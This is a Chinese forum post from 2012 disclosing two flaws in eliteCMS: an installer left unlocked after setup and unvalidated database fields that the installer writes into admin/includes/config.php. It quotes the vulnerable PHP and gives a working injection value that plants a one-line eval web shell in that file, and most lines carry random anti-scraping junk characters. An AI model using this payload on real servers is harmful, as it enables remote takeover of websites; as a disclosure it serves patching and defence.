找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2152|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装; u3 F2 y4 A, ]& z
% f$ {( ^3 @* y4 K! p; e
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
  O4 B3 {1 c' E9 C0 b我们来看代码:
' e* H. N9 h& `! I' G
1 p+ M  S9 {: G$ r' z...
& r7 ~  o; N6 j+ xelseif ($_GET['step'] == "4") {
, I8 p. b5 I# Y5 x* j( |    $file = "../admin/includes/config.php";8 H+ n4 g5 ^8 e9 A  N7 ^: w
    $write = "<?php\n";2 J6 R6 ~8 G3 L% |4 P$ V# ~9 L& r
    $write .= "/**\n";: u1 w- [8 K) V
    $write .= "*\n";
8 f( _! L7 _8 ]/ @  Y/ m    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
6 d: ^* Z) f3 m) b& A0 f3 O...略...: }& C' O" B7 a+ o0 f1 i. k
    $write .= "*\n";
& H" }2 Z/ C7 k  M! k3 h' e    $write .= "*/\n";7 T  h1 E( N1 T7 a& u4 k
    $write .= "\n";
3 q: O5 K1 Q( `5 S7 O: ]    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";1 O8 q& V% Z+ ~0 B, |' ^# i
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";/ J5 O, K6 G7 H
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";: ^  v, U, W0 `2 i! F: ?, X
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";4 _) F  i' G+ n9 o7 A+ @
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";' {8 I2 _' a: K. B
    $write .= "if (!\$connection) {\n";
6 o( b& f& k( p/ L( T    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
) }( s. i+ \; _    $write .= "        \n";
0 U7 h: M4 F1 ?9 j! V    $write .= "} \n";& b' J* i/ f1 Q  |8 Y
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";( w4 e; M" `' x7 J  U
    $write .= "if (!\$db_select) {\n";
0 \; `8 \6 T0 i. |4 P$ R    $write .= "        die(\"Database select failed\" .mysql_error());\n";3 A+ H) }$ u) S% B
    $write .= "        \n";) y8 @$ R; T0 ^1 h- x
    $write .= "} \n";
& K) r/ Z" Y& `    $write .= "?>\n";2 E: P. H+ x* t% s* N

1 T- J/ {! p$ {7 d    $writer = fopen($file, 'w');. c5 t6 P5 V) d! k
...1 D8 w( y7 a/ F

4 M6 F. T  `0 A' R! G/ B: w. S在看代码:
  J' ?( r9 l5 t9 a: v 8 m) I3 F, _* \+ C
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
2 @# R* y0 T& f6 P$ D$_SESSION['DB_NAME'] = $_POST['DB_NAME'];( ], T5 q3 |. x6 {, z# H( j. {
$_SESSION['DB_USER'] = $_POST['DB_USER'];
, p" v* J# {, s  P$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
; D6 U; H9 d$ a
* {8 u. M$ `+ X! Y  K取值未作任何验证. s) B1 U+ s% y9 X% i) ?. ]
如果将数据库名POST数据:( H# P& B4 _- x, y$ d
4 N7 L! ~5 a- k0 E' m
"?><?php eval($_POST[c]);?><?php* a0 _' Y% v  g- p4 g8 w' ?* [

, d8 p) ]1 w. X5 g: H) @将导致一句话后门写入/admin/includes/config.php' L: V( l6 _  p$ F* p
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表